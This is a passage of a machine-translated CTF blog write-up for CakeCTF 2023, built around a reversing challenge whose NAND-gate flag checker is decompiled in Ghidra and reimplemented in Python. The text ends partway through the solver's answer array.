{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-cakectf-2023-en","result":{"data":{"markdownRemark":{"id":"654d161d-1dff-5beb-8c71-b6cc2e2a98b5","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-cakectf-2023\">original page</a>.</p>\n</blockquote>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#nanderev\">nande(Rev)</a></li>\n<li><a href=\"#cake-puzzlerev\">Cake Puzzle(Rev)</a></li>\n<li><a href=\"#update-imgchkrev\">Update: imgchk(Rev)</a></li>\n<li><a href=\"#update-vtable4bpwn\">Update: vtable4b(Pwn)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n<li><a href=\"#shameless-plug\">Shameless Plug</a></li>\n</ul>\n<p>I participated in CakeCTF 2023, which began on November 11, 2023, as a member of 0nePadding.</p>\n<p>I had been taking a break from CTFs for a while because I was busy writing <a href=\"https://techbookfest.org/product/bnaHM8sVz6AfEiF8jgpELj?productVariantID=bXvgf8g2KDpRRVJ9pBZJXH\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Magical WinDbg - A casual guide to Windows dump analysis and troubleshooting -</a>, which we were distributing for free at Tech Book Fest 15, so this was my first CTF in a while. (Shameless plug)</p>\n<p>I could barely solve any of the Rev challenges myself, but thanks to my teammates’ hard work we finished in 74th place overall.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 936px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/05380106fb499e736a3e487e3ad0ef95/6d2da/image-20231112182513703.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 44.166666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/ElEQVQoz0WS2VLbQBBF/f/fQSoPyVuoQIBgIAHbEAOWtVjWvq+WZBtIhTyctARVeZjqUc/07aPbM8rCmLooCV2PSuLL0zObssY1NFazU/TpGH12SaDfE6x08iiizisSL5RYUiYpke2yKSqqNGeUS2Lbdpi6wdpcs+062k2LubhDG39AGX9Gn5xg3R6RuDadnHV1I0IZ26ajyTMSZ82u3dIIyKiQg6baEPkRqezTOBHiCkdfYkyOUG/O0GYXsv+Kb+hCUlNnBakfvRNmZGHyTlgIYZSSS9I1DUlm/Hn5LQ0aLGWO+v0A5fwT2vUxmaVIcU4rFG25oZC6Tu4Fyxl5ELOtWxoRHaWKTaF7eN8OSMYf2bkJpRFiXc/Qz79g/Zignp0QPzzi3S4oVLk7mxHNV+RSmz6uiO5NSsnnojMq4pQqL7AMg8B1eN7taaXb+mGK8+sUe37F+u6SvXhUyAB7Ol+5oUpKUksns1diQSW0mzfC3sO6rAi9YPDwSQR7T13xULs+xDNUtOkFrjKRxg2xbRKu+2lnlGn25qH88n8PhbAUQs92eNrv+fv6OkzZUR9w7o6x7q/Qfh7iL8ZEpi6ULnUaD1RbudevXqifeCsgo8QP6SkjeVf77W4g7N+ZvVQIV0uJi2Flvos5nwpNNIjFjj8MqRdz1YUMJpDvgn/sUotuk3M7dQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/05380106fb499e736a3e487e3ad0ef95/8ac56/image-20231112182513703.webp 240w,\n/static/05380106fb499e736a3e487e3ad0ef95/d3be9/image-20231112182513703.webp 480w,\n/static/05380106fb499e736a3e487e3ad0ef95/40732/image-20231112182513703.webp 936w\"\n              sizes=\"(max-width: 936px) 100vw, 936px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/05380106fb499e736a3e487e3ad0ef95/8ff5a/image-20231112182513703.png 240w,\n/static/05380106fb499e736a3e487e3ad0ef95/e85cb/image-20231112182513703.png 480w,\n/static/05380106fb499e736a3e487e3ad0ef95/6d2da/image-20231112182513703.png 936w\"\n            sizes=\"(max-width: 936px) 100vw, 936px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/05380106fb499e736a3e487e3ad0ef95/6d2da/image-20231112182513703.png\"\n            alt=\"image-20231112182513703\"\n            title=\"image-20231112182513703\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This time, I will briefly write up only the challenges we managed to solve.</p>\n<h2 id=\"nanderev\" style=\"position:relative;\"><a href=\"#nanderev\" aria-label=\"nanderev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>nande(Rev)</h2>\n<blockquote>\n<p>What makes NAND gates popular?</p>\n</blockquote>\n<p>I loaded the provided PDB file for the challenge binary into Ghidra and analyzed the program.</p>\n<p>The decompiled result of the <code class=\"language-text\">main</code> function looked like this.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">int</span> __cdecl <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> param_1<span class=\"token punctuation\">,</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token operator\">*</span>param_2<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>_Str<span class=\"token punctuation\">;</span>\n  <span class=\"token class-name\">size_t</span> inputLength<span class=\"token punctuation\">;</span>\n  ulonglong j<span class=\"token punctuation\">;</span>\n  ulonglong i<span class=\"token punctuation\">;</span>\n  ulonglong k<span class=\"token punctuation\">;</span>\n  bool isCorrect<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>s_Usage<span class=\"token operator\">:</span>_<span class=\"token operator\">%</span>s_<span class=\"token operator\">&lt;</span>flag<span class=\"token operator\">></span>_14001e100<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    _Str <span class=\"token operator\">=</span> param_2<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    inputLength <span class=\"token operator\">=</span> <span class=\"token function\">strlen</span><span class=\"token punctuation\">(</span>_Str<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>inputLength <span class=\"token operator\">==</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>j <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">&lt;</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">=</span> j <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          InputSequence<span class=\"token punctuation\">[</span>j <span class=\"token operator\">+</span> i <span class=\"token operator\">*</span> <span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>byte<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span>_Str<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">>></span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>byte<span class=\"token punctuation\">)</span>j <span class=\"token operator\">&amp;</span> <span class=\"token number\">0x1f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token function\">CIRCUIT</span><span class=\"token punctuation\">(</span>InputSequence<span class=\"token punctuation\">,</span>OutputSequence<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      isCorrect <span class=\"token operator\">=</span> true<span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>k <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> k <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x100</span><span class=\"token punctuation\">;</span> k <span class=\"token operator\">=</span> k <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        isCorrect <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>bool<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>isCorrect <span class=\"token operator\">&amp;</span> OutputSequence<span class=\"token punctuation\">[</span>k<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> AnswerSequence<span class=\"token punctuation\">[</span>k<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>isCorrect<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span>s_Correct<span class=\"token operator\">!</span>_14001e118<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span>s_Wrong<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span>_14001e128<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Reading this implementation, we can see that the 0x20-byte input is split into bits and stored in an array called <code class=\"language-text\">InputSequence</code>.</p>\n<p>Then the arrays <code class=\"language-text\">InputSequence</code> and <code class=\"language-text\">OutputSequence</code> are passed to the <code class=\"language-text\">CIRCUIT</code> function, after which the program checks whether <code class=\"language-text\">OutputSequence</code> matches <code class=\"language-text\">AnswerSequence</code>.</p>\n<p>From this, we can expect that when the input is the correct flag string, the <code class=\"language-text\">OutputSequence</code> generated by the <code class=\"language-text\">CIRCUIT</code> function will match the hard-coded <code class=\"language-text\">AnswerSequence</code>.</p>\n<p>So I looked at the decompiled result of the <code class=\"language-text\">CIRCUIT</code> function and obtained the following. (I have also included the <code class=\"language-text\">MODULE</code> and <code class=\"language-text\">NAND</code> functions called from <code class=\"language-text\">CIRCUIT</code>.)</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> __cdecl <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>uchar param_1<span class=\"token punctuation\">,</span>uchar param_2<span class=\"token punctuation\">,</span>uchar <span class=\"token operator\">*</span>param_3<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token operator\">*</span>param_3 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">&amp;</span> param_2<span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">void</span> __cdecl <span class=\"token function\">MODULE</span><span class=\"token punctuation\">(</span>uchar param_1<span class=\"token punctuation\">,</span>uchar param_2<span class=\"token punctuation\">,</span>uchar <span class=\"token operator\">*</span>param_3<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  undefined auStack_38 <span class=\"token punctuation\">[</span><span class=\"token number\">32</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  uchar n1<span class=\"token punctuation\">;</span>\n  uchar n2<span class=\"token punctuation\">;</span>\n  uchar n3 <span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  ulonglong local_10<span class=\"token punctuation\">;</span>\n  \n  local_10 <span class=\"token operator\">=</span> __security_cookie <span class=\"token operator\">^</span> <span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>auStack_38<span class=\"token punctuation\">;</span>\n  <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>param_1<span class=\"token punctuation\">,</span>param_2<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>n1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>param_1<span class=\"token punctuation\">,</span>n1<span class=\"token punctuation\">,</span>n3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>param_2<span class=\"token punctuation\">,</span>n1<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>n2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>n3<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>n2<span class=\"token punctuation\">,</span>param_3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">__security_check_cookie</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">void</span> __cdecl <span class=\"token function\">CIRCUIT</span><span class=\"token punctuation\">(</span>uchar <span class=\"token operator\">*</span>Input<span class=\"token punctuation\">,</span>uchar <span class=\"token operator\">*</span>Output<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  ulonglong j<span class=\"token punctuation\">;</span>\n  ulonglong i<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x1234</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>j <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">=</span> j <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">MODULE</span><span class=\"token punctuation\">(</span>Input<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>Input<span class=\"token punctuation\">[</span>j <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>Output <span class=\"token operator\">+</span> j<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">MODULE</span><span class=\"token punctuation\">(</span>Input<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token char\">'\\x01'</span><span class=\"token punctuation\">,</span>Output <span class=\"token operator\">+</span> j<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">memcpy</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>In the <code class=\"language-text\">CIRCUIT</code> function, after calling <code class=\"language-text\">MODULE(Input[j],Input[j + 1],Output + j);</code> 0xFF times and then executing <code class=\"language-text\">MODULE(Input[j],'\\x01',Output + j);</code>, it repeats the process of copying the generated <code class=\"language-text\">OutputSequence</code> array back into <code class=\"language-text\">InputSequence</code> 0x1234 times.</p>\n<p>In the <code class=\"language-text\">MODULE</code> function executed here, the program runs the <code class=\"language-text\">NAND</code> function multiple times using the values of the first and second arguments, then writes the result to the address given by the third argument.</p>\n<p>Reimplementing this processing in Python gives the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">MAKE_In</span><span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">,</span>txt<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            In<span class=\"token punctuation\">[</span>i<span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token operator\">+</span>j<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>txt<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> j<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0x1f</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span>\n    <span class=\"token keyword\">return</span> In\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">COPYARR</span><span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">,</span>Ou<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        In<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Ou<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">return</span> In\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">NAND</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> a <span class=\"token operator\">&amp;</span> b <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> <span class=\"token number\">1</span>\n    \n<span class=\"token keyword\">def</span> <span class=\"token function\">MODULE</span><span class=\"token punctuation\">(</span>A<span class=\"token punctuation\">,</span>B<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    n1<span class=\"token punctuation\">,</span>n2<span class=\"token punctuation\">,</span>n3 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    n1 <span class=\"token operator\">=</span> NAND<span class=\"token punctuation\">(</span>A<span class=\"token punctuation\">,</span>B<span class=\"token punctuation\">)</span>\n    n3 <span class=\"token operator\">=</span> NAND<span class=\"token punctuation\">(</span>A<span class=\"token punctuation\">,</span>n1<span class=\"token punctuation\">)</span>\n    n2 <span class=\"token operator\">=</span> NAND<span class=\"token punctuation\">(</span>B<span class=\"token punctuation\">,</span>n1<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> NAND<span class=\"token punctuation\">(</span>n3<span class=\"token punctuation\">,</span>n2<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">CIRCUIT</span><span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">,</span> Ou<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1234</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            Ou<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> MODULE<span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>In<span class=\"token punctuation\">[</span>j<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n        Ou<span class=\"token punctuation\">[</span>j<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> MODULE<span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">[</span>j<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        In <span class=\"token operator\">=</span> COPYARR<span class=\"token punctuation\">(</span>In<span class=\"token punctuation\">,</span>Ou<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> In<span class=\"token punctuation\">,</span>Ou</code></pre></div>\n<p>Based on the findings up to this point, we can see that it is possible to recover the flag by reversing the above processing with <code class=\"language-text\">AnswerSequence</code> as the argument.</p>\n<p>In the end, I was able to obtain the flag with the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">Ans <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x01</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token 